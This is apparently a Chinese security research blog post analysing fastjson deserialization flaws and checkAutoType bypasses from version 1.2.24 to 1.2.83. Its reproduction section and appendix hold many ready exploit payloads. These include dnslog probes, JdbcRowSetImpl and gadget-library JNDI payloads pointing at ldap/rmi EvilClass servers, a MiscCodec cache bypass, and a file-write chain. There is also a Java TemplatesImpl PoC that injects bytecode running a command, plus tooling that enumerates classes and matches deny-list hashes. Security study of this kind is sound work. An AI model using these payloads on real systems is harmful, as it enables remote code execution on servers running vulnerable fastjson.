fastjson反序列化漏洞
@TOC
fastjson反序列化漏洞
反序列化漏洞触发根因
- 使用了危险的类+传入类的参数外部可控
- 未使用危险的类+类型和传入类型的参数外部可控
第一种情况取决于开发在类中使用了危险的方法,常见于原生反序列化漏洞;第二种情况常见于允许解析外部传入的危险类所导致的,常见于各类组件
fastjson介绍
Fastjson 是由阿里巴巴开源的一个 Java 库,用于将 Java 对象转换为 JSON 格式,以及将 JSON 字符串转换为 Java 对象。它支持泛型和任意复杂的对象,包括具有复杂继承关系和广泛使用泛型的对象。Fastjson 以其高性能而闻名,并且在阿里巴巴内部大规模使用,也在业界得到了广泛的接受。
从以下的maven仓内可以看到,fastjson已经迭代到了2.0+的版本,存在漏洞的版本也到达了1.2.80,至于1.2.83并没找到流传的payload
Maven Repository: com.alibaba » fastjson (mvnrepository.com)
fastjson反序列化漏洞关键点
fastjson 1.2.24
默认使用@type来指定反序列化任意类,并调用这个类的setter方法,只需要待反序列化的类的setter方法或构造方法存在安全隐患即可利用,当然也可以借助JNDI去引用恶意的类从而完成攻击
fastjson 1.2.25
针对 1.2.24 版本爆出的反序列化漏洞,1.2.25 版本引入了checkAutoType安全机制,即写了一个checkAutoType函数来做检查。
当AutoType关闭且expectClass为空,checkAutoType会通过TypeUtils.getClassFromMapping和this.deserializers.findClass尝试获取该类,但实际获取不到,然后走入以下逻辑:
- 使用denyList做黑名单校验
- 然后使用acceptList做白名单校验,在白名单内就会直接加载类,但实际上白名单默认就为空
- 当类为空,抛出
autoType is not support.异常
当AutoType开启或者expectClass不为空:
- 经过白名单校验,在白名单内就会直接加载类,但实际上白名单默认就为空
- 经过黑名单校验
- 双校验都通过然后直接通过TypeUtils.loadClass(typeName, this.defaultClassLoader)加载类
但是在loadClass中可以发现,只要类以[开头或者以L开头且以;结尾,该函数都会自动去除这些符号,而且这种处理是递归的

从上图的else块可以看出,当classLoader不为空,mapping会自动添加这个类,当classLoader为空,则从上下文获取一个ClassLoader,然后将该类加入mapping,而对于loadClass这个递归函数而言,只要绕过前面的黑名单([开头或者以L开头且以;),最后一定可以得到一个任意类。
利用条件,需要同时满足:
- 开启autotype
- 绕过黑名单
fastjson 1.2.42
fastjson 1.2.40未修改AutoTypeCheck,1.2.42过滤了首尾字符,具体方式为:
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
className = className.substring(1, className.length() - 1);
}
由于loadClass是递归函数,因此可以通过双写绕过
利用条件,需要同时满足:
- 开启autotype
- 通过双写绕过黑名单
fastjson 1.2.43
在此处做了修改:
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
throw new JSONException("autoType is not support. " + typeName);
}
className = className.substring(1, className.length() - 1);
}
未对[做处理,可以据此绕过
利用条件,需要同时满足:
- 开启autotype
- 通过
[双写绕过黑名单
MiscCodec cache通杀(1.2.48以下)
简单来说,借助MiscCodec反序列化器读取payload中的val(恶意类),然后将其加入mappings缓存(这个mappings前面提到过,在未开启autotype时会查看mappings白名单),这样,在反序列化json对象的下一个属性时就可以通过@type属性调用这个恶意类
由于loadClass cache默认设置为true,因此利用条件:
- fastjson版本小于1.2.48
fastjson 1.2.68
该版本设置了一个新的属性safeMode,用于autoType的一个补充。
根据参考内容,说通过expectClass可以绕过autoTypeCheck触发反序列化漏洞,因此逆向跟踪expectClass找到以下两个反序列化器:
ThrowableDeserializer
JavaBeanDeserializer
使用以下json进行调试:
{"x":{"@type":"java.lang.AutoCloseable","@type":"sun.rmi.server.MarshalOutputStream"}}
开始调试checkAutoType,当safeMode开启,如果未自定义handler处理想要处理的类,就会直接抛出异常

当safeMode关闭,使用expectClassFlag标记是否传入expectClass且为除指定类以外的类

然后当首字符为L、尾字符为;,直接抛出异常

紧接着就是一段黑名单校验(internalDenyHashCodes),这可以通过配置项配置,之后就是:

internalWhite是内部固定白名单的标志位,如果在白名单中找到了则该值为true,因此条件是没在白名单中找到且autoType开启或expectClassFlag为true时才会进入该分支进行内部固定黑名单的校验,再往后就直接从mappings和反序列化器列表中提取出当前类并返回了(当然,后面有autoType为false时的黑名单处理逻辑,和此处一样,因此忽略)。
在提取出第一个@type的类后会尝试找该类对应的反序列化器,在初始化的反序列化器列表中没找到,就会尝试在以下代码中动态创建反序列化器,然后在后续将反序列化器添加到反序列化器列表中:

然后,当fastjson识别到当前字段出现第二个@type,会尝试从上一个反序列化器去获取一个相同的反序列化器,但是获取失败了,因此再次调用checkAutoType,这个时候,上一个类会作为expectClass传入,expectClassFlag被设置为true

而这个时候,第二个类由于不在内部黑名单,因此通过了黑名单校验,由于不在mappings和反序列化器列表中,因此clazz为null,再往后,通过 ASM(Java 字节码操作库)来扫描类的静态初始化块(<clinit>),检查其中是否存在@JSONType注解,再往后:

由于expectClassFlag为true,因此直接加载了类,但还没完,以下代码还要检查clazz是否是expectClass的子类

至此,第二个类通过了checkAutoType的校验,后续就是进行正常的反序列化操作,不过此时会报错default constructor not found. class sun.rmi.server.MarshalOutputStream,因为目标类没有无参构造函数
根据前面的分析,利用条件如下:
- safeMode为false
- 第一个
@type中的类在反序列化器列表和mappings中,并且使用的反序列化器为ThrowableDeserializer或JavaBeanDeserializer - 第二个类为危险的类,且不在黑名单中
- 第二个类是第一个类的子类
该版本可以用的第一个类:
java.lang.AutoCloseable
java.lang.Exception(java.lang.Throwable的子类)
其中,java.lang.Exception能否利用取决于实现的Expection的子类是否危险
由于java.lang.Exception能否利用取决于实现的Expection的子类是否危险,因此这里的利用链主要还是依靠AutoCloseable,而AutoCloseable的子类非常多,这可以通过遍历当前的java环境做到,像一些常用的流,比如java.io.OutputStreamWriter、java.io.FilterOutputStream等。
当找到一个想要反序列化的类后,会在JavaBeanInfo中build:

jsonType为true时builderClass才有可能不为null,因此我们找的类基本都会走:
defaultConstructor = getDefaultConstructor(clazz, constructors);

第一部分是说明会直接取无参构造,第二部分则是要求类为成员内部类以及该类不是静态嵌套类,内部for循环中的条件是构造函数的参数数量为1且其参数类型等于声明当前类的类的类型,经过代码测试,这一块堵死
再往后面看:

代码的目的是从类的构造函数里筛选出符合条件的公共构造函数,并且找出参数数量最多的那个


需要注意的是,此处的debugInfoPresent为false,导致返回的参数名列表为空,通过逆向发现,当入参数量为0,该值为1,除此之外,就是指定类的class文件在LocalVariable中存在对应构造方法的LocalVariableTable。
javap -v -p E:\java\jdk8\jre\lib\rt\java\io\FileOutputStream.class | find "LocalVariableTable"
因此,想要反序列化的类必须满足以下条件:
- 是AutoCloseable的子类
- 当前jdk版本下该类在编译时保留构造方法的
LocalVariableTable,这可以通过ASM来读取指定类是否有保留
fastjson 1.2.69
fastjson 1.2.68有对expectClass做一个黑名单,即:
java.lang.Object
java.lang.Cloneable
java.lang.Iterable
java.io.Serializable
java.io.Closeable
java.util.EventListener
java.util.Collection
fastjson 1.2.69新增的expectClass hash黑名单
-8024746738719829346L,1
3247277300971823414L,1
-5811778396720452501L,1
-1368967840069965882L,
2980334044947851925L,
5183404141909004468L,
7222019943667248779L,1
-2027296626235911549L,1
-2114196234051346931L,1
-2939497380989775398L 1
新增了三个,经过hash计算可以得到以下三个是多出来的
-1368967840069965882L,java.lang.AutoCloseable
2980334044947851925L, java.lang.Readable
5183404141909004468L, java.lang.Runnable
因此利用方式就是借助Exception
fastjson 1.2.80
1.2.80新增了内部黑名单,expectClass黑名单不变,利用方式同1.2.69
fastjson 1.2.83
使用1.2.80可以使用的Exception相关payload,发现fastjson 1.2.83在处理第二个@type调用checkAutoType时,expectClass为null。
对比1.2.80和1.2.83的jar包,发现以下不同之处:
-
继续新增内部黑名单
-
注意到这里当遇到了
Throwable的子类就会返回null,导致解析第二个@type时expectClass为null:
因此,Throwable这条路对应的ThrowableDeserializer走不通了,只能寻找能够创建JavaBeanDeserializer的类及其可利用的子类。
利用条件:
-
safeMode关闭
-
找到一个不在初始化反序列化器列表中的类,当前版本反序列化器列表对应的类列表如下:
SimpleDateFormat.class Calendar.class XMLGregorianCalendar.class JSONObject.class JSONArray.class Map.class HashMap.class LinkedHashMap.class TreeMap.class ConcurrentMap.class ConcurrentHashMap.class Collection.class List.class ArrayList.class Object.class String.class StringBuffer.class StringBuilder.class Character.TYPE Character.class Byte.TYPE Byte.class Short.TYPE Short.class Integer.TYPE Integer.class Long.TYPE Long.class BigInteger.class BigDecimal.class Float.TYPE Float.class Double.TYPE Double.class Boolean.TYPE Boolean.class Class.class char[].class AtomicBoolean.class AtomicInteger.class AtomicLong.class AtomicReference.class WeakReference.class SoftReference.class UUID.class TimeZone.class Locale.class Currency.class Inet4Address.class Inet6Address.class InetSocketAddress.class File.class URI.class URL.class Pattern.class Charset.class JSONPath.class Number.class AtomicIntegerArray.class AtomicLongArray.class StackTraceElement.class Serializable.class Cloneable.class Comparable.class Closeable.class JSONPObject.class -
找到上一个类的子类
绕过黑名单的类
引入某些危险的额外的依赖可能会造成绕过黑名单,只要引入对应的依赖就都可以直接触发漏洞,不同的额外依赖对依赖版本以及fastjson的版本均有要求。需要注意的是,在1.2.24版本中,
org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
-
mybatis版本:涉及3.x.x(目前最新3.5.19依旧可以)或者使用mybatis-spring-boot-starter(截至到3.0.4的全部版本)
<dependency> <groupId>org.mybatis</groupId> <artifactId>mybatis</artifactId> <version>3.2.8</version> </dependency> <dependency> <groupId>org.mybatis.spring.boot</groupId> <artifactId>mybatis-spring-boot-starter</artifactId> <version>1.3.5</version> </dependency> -
fastjson版本:1.2.45及以下版本
org.apache.xbean.propertyeditor.JndiConverter
-
xbean-reflect版本:3.4及其以上版本(截至到版本4.27)
<dependency> <groupId>org.apache.xbean</groupId> <artifactId>xbean-reflect</artifactId> <version>4.27</version> </dependency> -
fastjson版本:1.2.62及以下版本
org.apache.shiro.jndi.JndiObjectFactory
-
shiro版本:shiro-core 1.2.0及以上版本到1.13.0及以下版本
<dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-core</artifactId> <version>1.5.1</version> </dependency> -
fastjson版本:1.2.67及以下版本
漏洞触发场景
- 使用fastjson反序列化了开发写的类,且开发在对象的set方法中进行了危险操作
- 使用fastjson反序列化了恶意类,这些类要么是jdk版本自带的,要么是其他依赖包携带的
漏洞复现
环境
jdk8_102 + fastjson各版本
引入依赖
需要单独引入fastjson各版本依赖,如下:
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.80</version>
</dependency>
poc
DNS盲打验证
{"name":{"@type":"java.net.Inet6Address","val":"7w144t.dnslog.cn"}, "age": 12}
{"name":{"@type":"java.net.Inet4Address","val":"h93bmg.dnslog.cn"}, "age": 12}
{"name":{"@type":"java.net.URL","val":"http://2uc1jy.dnslog.cn"}}
其中第三个payload延迟高,jdk17+fastjson 1.2.80可成功
JdbcRowSetImpl JNDI
使用jdk版本为应该小于JDK 8u113 ,因为在之后的版本中,系统属性 com.sun.jndi.rmi.object.trustURLCodebase 、 com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许RMI、cosnaming从远程的 Codebase加载Reference工厂类
(1)fastjson 1.2.24
{"name":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389/Exploit","autoCommit":true}, "age": 12}
{"name":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1/Exploit","autoCommit":true}, "age": 12}
(2)fastjson 1.2.25
{"name":{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://127.0.0.1:1389/Exploit","autoCommit":true}, "age": 12}
{"name":{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://127.0.0.1:1389/Exploit","autoCommit":true}, "age": 12}
{"name":{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://127.0.0.1:1389/EvilClass","autoCommit":true}, "age": 12}
注意第三个payload的格式,多加了[{,如果不这么做就会喜提报错:exepct '[', but ,, pos 50, json :xxxxxxxxxx
(3)fastjson 1.2.42
{"name":{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://127.0.0.1:1389/EvilClass","autoCommit":true}, "age": 12}
{"name":{"@type":"[[com.sun.rowset.JdbcRowSetImpl"[[{,"dataSourceName":"ldap://127.0.0.1:1389/EvilClass","autoCommit":true}, "age": 12}
(4)fastjson 1.2.43
{"name":{"@type":"[[com.sun.rowset.JdbcRowSetImpl"[[{,"dataSourceName":"ldap://127.0.0.1:1389/EvilClass","autoCommit":true}, "age": 12}
(6)fastjson 1.2.68
在jdk8_202的环境下,经过代码筛选得到以下类可以使用:
jdk.nashorn.api.scripting.URLReader
com.alibaba.fastjson.serializer.SerializeWriter
com.alibaba.fastjson.JSONReader
com.alibaba.fastjson.parser.DefaultJSONParser
com.alibaba.fastjson.parser.JSONReaderScanner
com.alibaba.fastjson.parser.DefaultExtJSONParser
com.alibaba.fastjson.parser.JSONLexerBase
com.alibaba.fastjson.parser.JSONScanner
com.alibaba.fastjson.JSONWriter
org.apache.shiro.io.ClassResolvingObjectInputStream
com.intellij.rt.ant.execution.SegmentedOutputStream
主要的思路就是获取当前环境下允许使用的类,然后去构造payload。
以下是收集到的一个paylaod,可以提供一个构造payload的思路:
{
'stream':
{
'@type':"java.lang.AutoCloseable",
'@type':'org.eclipse.core.internal.localstore.SafeFileOutputStream',
'targetPath':'/tmp/dst',
'tempPath':'/tmp/src'
},
'writer':
{
'@type':"java.lang.AutoCloseable",
'@type':'com.esotericsoftware.kryo.io.Output',
'buffer':'aGFja2VkIGJ5IG0wMWUu',
'outputStream':
{
'$ref':'$.stream'
},
'position':15
},
'close':
{
'@type':"java.lang.AutoCloseable",
'@type':'com.sleepycat.bind.serial.SerialOutput',
'out':
{
'$ref':'$.writer'
}
}
}
(7)MiscCodec cache通杀(fastjson 1.2.47及以下版本)
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://127.0.0.1:1389/EvilClass",
"autoCommit":true
}
}
(8)黑名单类
mybatis 或mybatis-spring-boot-starter
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://127.0.0.1:1389/EvilClass"}}
xbean-reflect
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1/EvilClass"}
shiro-core
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://127.0.0.1:1389/EvilClass"}
Exception
适用于1.2.80及以下版本
package org.example.tools;
import java.io.IOException;
public class MyException extends Exception{
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
// public void setName(String str) {
// Runtime.getRuntime().exec("calc");
// System.out.println(str);
// }
}
对应的payload:
{"@type": "java.lang.Exception","@type": "org.example.tools.MyException"}
TemplatesImpl
{"name":{ "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes": ["恶意字节码"], "_name": "test", "_tfactory": {}, "_outputProperties": {},},"age":14}
具体代码如下(包括字节码生成):
(1)fastjson 1.2.24
public class FastjsonTemplatesImplPOC {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get(FastjsonTemplatesImplPOC.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "akka1" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
byte[] evilCode = cc.toBytecode();
String evilCode_base64 = Base64.getEncoder().encodeToString(evilCode);
System.out.println(evilCode_base64);
String payload =
"{\n" +
" \"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\n" +
" \"_bytecodes\": [\""+evilCode_base64+"\"],\n" +
" \"_name\": \"test\",\n" +
" \"_tfactory\": {},\n" +
" \"_outputProperties\": {},\n" +
"}";
ParserConfig config = new ParserConfig();
System.out.println(payload);
Object obj = JSON.parseObject(payload, Object.class, config, Feature.SupportNonPublicField);
}
}
Feature.SupportNonPublicField 是 Fastjson 提供的一个反序列化特性标志,用于控制是否允许访问和设置对象的非公共字段(包括私有字段、受保护字段等)
(2)fastjson 1.2.25
String payload =
"{\"name\": {\n" +
" \"@type\": \"Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\",\n" +
" \"_bytecodes\": [\""+evilCode_base64+"\"],\n" +
" \"_name\": \"test\",\n" +
" \"_tfactory\": {},\n" +
" \"_outputProperties\": {},\n" +
"}}";
ParserConfig config = new ParserConfig();
config.setAutoTypeSupport(true);
System.out.println(payload);
Object obj = JSON.parseObject(payload,Person.class, config, Feature.SupportNonPublicField);
其他版本的fastjson可以自行测试,因为TemplatesImpl需要设置Feature.SupportNonPublicField
修复方案
升级到最新版本且开启safeMode
参考
-
https://xz.aliyun.com/news/14309#toc-5
- https://wjlshare.com/archives/1526
- https://www.cnblogs.com/nice0e3/p/14776043.html#1225-1241-%E7%BB%95%E8%BF%87
-
https://www.freebuf.com/articles/web/231446.html
- https://blog.csdn.net/mole_exp/article/details/122315526
附录
附录涉及的代码适用于jdk8,某些代码在高版本jdk下无法使用,这和jdk的Module机制有关
autoType和safeMode开启方式
(1)1.2.25版本及以上避免主动开启autoType,开启autoType的方式有以下两种:
-
jvm启动参数
-Dfastjson.parser.autoTypeSupport=true -
代码
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
(2)1.2.68及以上版本开启safeMode,开启safeMode的方式有以下两种
-
jvm启动参数
-Dfastjson.parser.safeMode=true -
代码
ParserConfig.getGlobalInstance().setSafeMode(true);
枚举类
package org.example.tools;
import java.io.File;
import java.io.IOException;
import java.net.URL;
import java.net.URLClassLoader;
import java.net.URLDecoder;
import java.util.ArrayList;
import java.util.Enumeration;
import java.util.List;
import java.util.jar.JarEntry;
import java.util.jar.JarFile;
import static org.example.tools.FileProcesser.writeLines;
public class ClassEnumerator {
public static List<String> getAllClasses() throws IOException {
List<String> classes = new ArrayList<>();
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
URL[] urls = ((URLClassLoader) classLoader).getURLs();
for (URL url : urls) {
if ("file".equals(url.getProtocol())) {
// 解码URL路径
String filePath = URLDecoder.decode(url.getFile(), "UTF-8");
File file = new File(filePath);
if (file.isDirectory()) {
scanDirectory(file, "", classes);
} else if (file.getName().endsWith(".jar")) {
// 增加文件存在检查
if (file.exists()) {
scanJar(file, classes);
} else {
System.err.println("JAR文件不存在: " + filePath);
}
}
}
}
return classes;
}
private static void scanDirectory(File dir, String packageName, List<String> classes) {
File[] files = dir.listFiles();
if (files != null) {
for (File file : files) {
if (file.isDirectory()) {
scanDirectory(file, packageName + file.getName() + ".", classes);
} else if (file.getName().endsWith(".class")) {
String className = packageName + file.getName().substring(0, file.getName().length() - 6);
classes.add(className);
}
}
}
}
private static void scanJar(File jarFile, List<String> classes) throws IOException {
try (JarFile jar = new JarFile(jarFile)) {
Enumeration<JarEntry> entries = jar.entries();
while (entries.hasMoreElements()) {
JarEntry entry = entries.nextElement();
String name = entry.getName();
if (name.endsWith(".class")) {
String className = name.replace('/', '.').substring(0, name.length() - 6);
classes.add(className);
}
}
}
}
public static List<String> findSubClasses(String currClassName, List<String> classNames) throws IOException, ClassNotFoundException {
List<String> result = new ArrayList<>();
// 使用当前线程的上下文类加载器,避免潜在的类加载问题
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
// 加载当前类的 Class 对象(不初始化)
Class<?> currClass = classLoader.loadClass(currClassName);
// 遍历所有类名,判断是否为子类型
for (String className : classNames) {
try {
// 加载当前遍历到的类(不初始化)
Class<?> clazz = classLoader.loadClass(className);
// 判断是否为子类型(包括自身、子类或实现类)
if (currClass.isAssignableFrom(clazz)) {
// System.out.println(currClassName + " : " + className);
result.add(className);
}
} catch (ClassNotFoundException e) {
System.err.println("Class not found: " + className);
} catch (UnsupportedClassVersionError e) {
System.err.println("Unsupported class version: " + className);
} catch (NoClassDefFoundError e) {
System.err.println("Missing dependency: " + className);
} catch (SecurityException e) {
System.err.println("Security restriction: " + className);
} catch (Exception | Error e) {
// 捕获其他异常/错误,避免中断扫描过程
System.err.println("Unexpected error processing " + className + ": " + e.getMessage());
}
}
return result;
}
public static void main(String[] args) {
try {
List<String> classes = getAllClasses();
System.out.println("找到 " + classes.size() + " 个类");
classes.forEach(System.out::println);
} catch (IOException e) {
e.printStackTrace();
}
}
}
hash碰撞
package org.example.tools;
import java.io.IOException;
import java.util.*;
import static org.example.tools.ClassEnumerator.getAllClasses;
import static org.example.tools.FileProcesser.writeLines;
public class fastjson_hash {
private static final long[] INTERNAL_WHITELIST_HASHCODES = new long[]{-9013707057526259810L, -8773806119481270567L, -8421588593326113468L, -8070393259084821111L, -7858127399773263546L, -7043543676283957292L, -6976602508726000783L, -6293031534589903644L, -6081111809668363619L, -5779433778261875721L, -5399450433995651784L, -4540135604787511831L, -4207865850564917696L, -3950343444501679205L, -3714900953609113456L, -3393714734093696063L, -3378497329992063044L, -2631228350337215662L, -2551988546877734201L, -2473987886800209058L, -2265617974881722705L, -1759511109484434299L, -1477946458560579955L, -816725787720647462L, -520183782617964618L, 59775428743665658L, 484499585846206473L, 532945107123976213L, 711449177569584898L, 829148494126372070L, 956883420092542580L, 1233162291719202522L, 1696465274354442213L, 1863557081881630420L, 2238472697200138595L, 2380202963256720577L, 2643099543618286743L, 2793877891138577121L, 3804572268889088203L, 4567982875926242015L, 4784070066737926537L, 4960004821520561233L, 5348524593377618456L, 5454920836284873808L, 5695987590363189151L, 6073645722991901167L, 6114875255374330593L, 6137737446243999215L, 6160752908990493848L, 6939315124833099497L, 7048426940343117278L, 7267793227937552092L, 8331868837379820532L, 8357451534615459155L, 8890227807433646566L, 9166532985682478006L, 9215131087512669423L};
;
public static long fnv1a_64(String key) {
long hashCode = -3750763034362895579L;
for(int i = 0; i < key.length(); ++i) {
char ch = key.charAt(i);
hashCode ^= (long)ch;
hashCode *= 1099511628211L;
}
return hashCode;
}
public static long[] getArrayDiff(long[] array1, long[] array2) {
Set<Long> diffSet = new HashSet<>();
// 将第一个数组元素存入集合
for (long num : array1) {
diffSet.add(num);
}
// 遍历第二个数组,提取差异元素
for (long num : array2) {
if (!diffSet.remove(num)) { // 存在则移除,不存在则加入差异集合
diffSet.add(num);
}
}
// 将集合转换为长整型数组
long[] result = diffSet.stream().mapToLong(Long::longValue).toArray();
Arrays.sort(result);
return result;
}
public static List<String> getAcceptList(List<String> classes, long[] acceptHashCodes){
Arrays.sort(acceptHashCodes);
List<String> results = new ArrayList<>();
for(String className : classes) {
long fullHash = fnv1a_64(className);
if (Arrays.binarySearch(acceptHashCodes, fullHash) >= 0) {
System.out.println("白名单:" + className);
results.add(className);
}
}
return results;
}
public static List<String> getDenyExpectClassList(List<String> classes, long[] expectClassDenyHashCodes){
List<String> results = new ArrayList<>();
Arrays.sort(expectClassDenyHashCodes);
for(String className : classes) {
long fullHash = fnv1a_64(className);
if (Arrays.binarySearch(expectClassDenyHashCodes, fullHash) >= 0) {
System.out.println("expectClass:" + className+"\t hash:"+fullHash);
results.add(className);
}
}
return results;
}
public static List<String> getDenyList(List<String> classes, long[] denyHashCodes){
Arrays.sort(denyHashCodes);
List<String> results = new ArrayList<>();
for(String className : classes) {
long h1 = (-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L;
if(h1==-5808493101479473382L) {
System.out.println(h1);
System.out.println(className.charAt(0));
System.out.println("校验首字符:"+className);
}
if ((h1 ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L){
System.out.println(h1);
System.out.println(className.charAt(className.length() - 1));
System.out.println("校验尾字符:"+className);
}
long hash = (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L ^ (long)className.charAt(2)) * 1099511628211L;
for(int i = 3; i < className.length(); ++i) {
hash ^= (long)className.charAt(i);
hash *= 1099511628211L;
if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
System.out.println("黑名单:"+className);
results.add(className);
break;
}
}
}
return results;
}
public static boolean isClassHashInDeny(String className, long[] denyHashCodes) {
Arrays.sort(denyHashCodes);
long hash = (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L ^ (long)className.charAt(2)) * 1099511628211L;
for(int i = 3; i < className.length(); ++i) {
hash ^= (long)className.charAt(i);
hash *= 1099511628211L;
if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
System.out.println("黑名单:"+className);
return true;
}
}
return false;
}
public static void main(String[] args) throws IOException {
//1.2.68
long[] denyHashCodes = new long[]{-9164606388214699518L, -8720046426850100497L, -8649961213709896794L, -8165637398350707645L, -8109300701639721088L, -7966123100503199569L, -7921218830998286408L, -7775351613326101303L, -7768608037458185275L, -7766605818834748097L, -6835437086156813536L, -6316154655839304624L, -6179589609550493385L, -6025144546313590215L, -5939269048541779808L, -5885964883385605994L, -5764804792063216819L, -5472097725414717105L, -5194641081268104286L, -4837536971810737970L, -4608341446948126581L, -4438775680185074100L, -4082057040235125754L, -3975378478825053783L, -3935185854875733362L, -3319207949486691020L, -3077205613010077203L, -2825378362173150292L, -2439930098895578154L, -2378990704010641148L, -2364987994247679115L, -2262244760619952081L, -2192804397019347313L, -2095516571388852610L, -1872417015366588117L, -1650485814983027158L, -1589194880214235129L, -905177026366752536L, -831789045734283466L, -582813228520337988L, -254670111376247151L, -190281065685395680L, -26639035867733124L, -9822483067882491L, 4750336058574309L, 33238344207745342L, 218512992947536312L, 313864100207897507L, 386461436234701831L, 823641066473609950L, 1073634739308289776L, 1153291637701043748L, 1203232727967308606L, 1459860845934817624L, 1502845958873959152L, 1534439610567445754L, 1698504441317515818L, 1818089308493370394L, 2078113382421334967L, 2164696723069287854L, 2653453629929770569L, 2660670623866180977L, 2731823439467737506L, 2836431254737891113L, 3089451460101527857L, 3114862868117605599L, 3256258368248066264L, 3547627781654598988L, 3637939656440441093L, 3688179072722109200L, 3718352661124136681L, 3730752432285826863L, 3794316665763266033L, 4046190361520671643L, 4147696707147271408L, 4254584350247334433L, 4814658433570175913L, 4841947709850912914L, 4904007817188630457L, 5100336081510080343L, 5274044858141538265L, 5347909877633654828L, 5450448828334921485L, 5474268165959054640L, 5596129856135573697L, 5688200883751798389L, 5751393439502795295L, 5944107969236155580L, 6007332606592876737L, 6280357960959217660L, 6456855723474196908L, 6511035576063254270L, 6534946468240507089L, 6734240326434096246L, 6742705432718011780L, 6854854816081053523L, 7123326897294507060L, 7179336928365889465L, 7375862386996623731L, 7442624256860549330L, 7658177784286215602L, 8055461369741094911L, 8389032537095247355L, 8409640769019589119L, 8488266005336625107L, 8537233257283452655L, 8838294710098435315L, 9140390920032557669L, 9140416208800006522L};
//1.2.69
long[] denyHashCodes1 =new long[]{-9164606388214699518L, -8720046426850100497L, -8649961213709896794L, -8165637398350707645L, -8109300701639721088L, -7966123100503199569L, -7921218830998286408L, -7775351613326101303L, -7768608037458185275L, -7766605818834748097L, -6835437086156813536L, -6316154655839304624L, -6179589609550493385L, -6025144546313590215L, -5939269048541779808L, -5885964883385605994L, -5764804792063216819L, -5472097725414717105L, -5194641081268104286L, -4837536971810737970L, -4608341446948126581L, -4438775680185074100L, -4082057040235125754L, -3975378478825053783L, -3935185854875733362L, -3319207949486691020L, -3077205613010077203L, -3053747177772160511L, -2825378362173150292L, -2439930098895578154L, -2378990704010641148L, -2364987994247679115L, -2262244760619952081L, -2192804397019347313L, -2095516571388852610L, -1872417015366588117L, -1650485814983027158L, -1589194880214235129L, -905177026366752536L, -831789045734283466L, -582813228520337988L, -254670111376247151L, -190281065685395680L, -26639035867733124L, -9822483067882491L, 4750336058574309L, 33238344207745342L, 218512992947536312L, 313864100207897507L, 386461436234701831L, 823641066473609950L, 1073634739308289776L, 1153291637701043748L, 1203232727967308606L, 1459860845934817624L, 1502845958873959152L, 1534439610567445754L, 1698504441317515818L, 1818089308493370394L, 2078113382421334967L, 2164696723069287854L, 2653453629929770569L, 2660670623866180977L, 2731823439467737506L, 2836431254737891113L, 3089451460101527857L, 3114862868117605599L, 3256258368248066264L, 3547627781654598988L, 3637939656440441093L, 3688179072722109200L, 3718352661124136681L, 3730752432285826863L, 3794316665763266033L, 4046190361520671643L, 4147696707147271408L, 4254584350247334433L, 4814658433570175913L, 4841947709850912914L, 4904007817188630457L, 5100336081510080343L, 5274044858141538265L, 5347909877633654828L, 5450448828334921485L, 5474268165959054640L, 5596129856135573697L, 5688200883751798389L, 5751393439502795295L, 5944107969236155580L, 6007332606592876737L, 6280357960959217660L, 6456855723474196908L, 6511035576063254270L, 6534946468240507089L, 6734240326434096246L, 6742705432718011780L, 6854854816081053523L, 7123326897294507060L, 7179336928365889465L, 7375862386996623731L, 7442624256860549330L, 7658177784286215602L, 8055461369741094911L, 8389032537095247355L, 8409640769019589119L, 8488266005336625107L, 8537233257283452655L, 8838294710098435315L, 9140390920032557669L, 9140416208800006522L};
// expectClass 1.2.69
long[] expectHashValues = new long[]{
-8024746738719829346L,
3247277300971823414L,
-5811778396720452501L,
-1368967840069965882L,
2980334044947851925L,
5183404141909004468L,
7222019943667248779L,
-2027296626235911549L,
-2114196234051346931L,
-2939497380989775398L
};
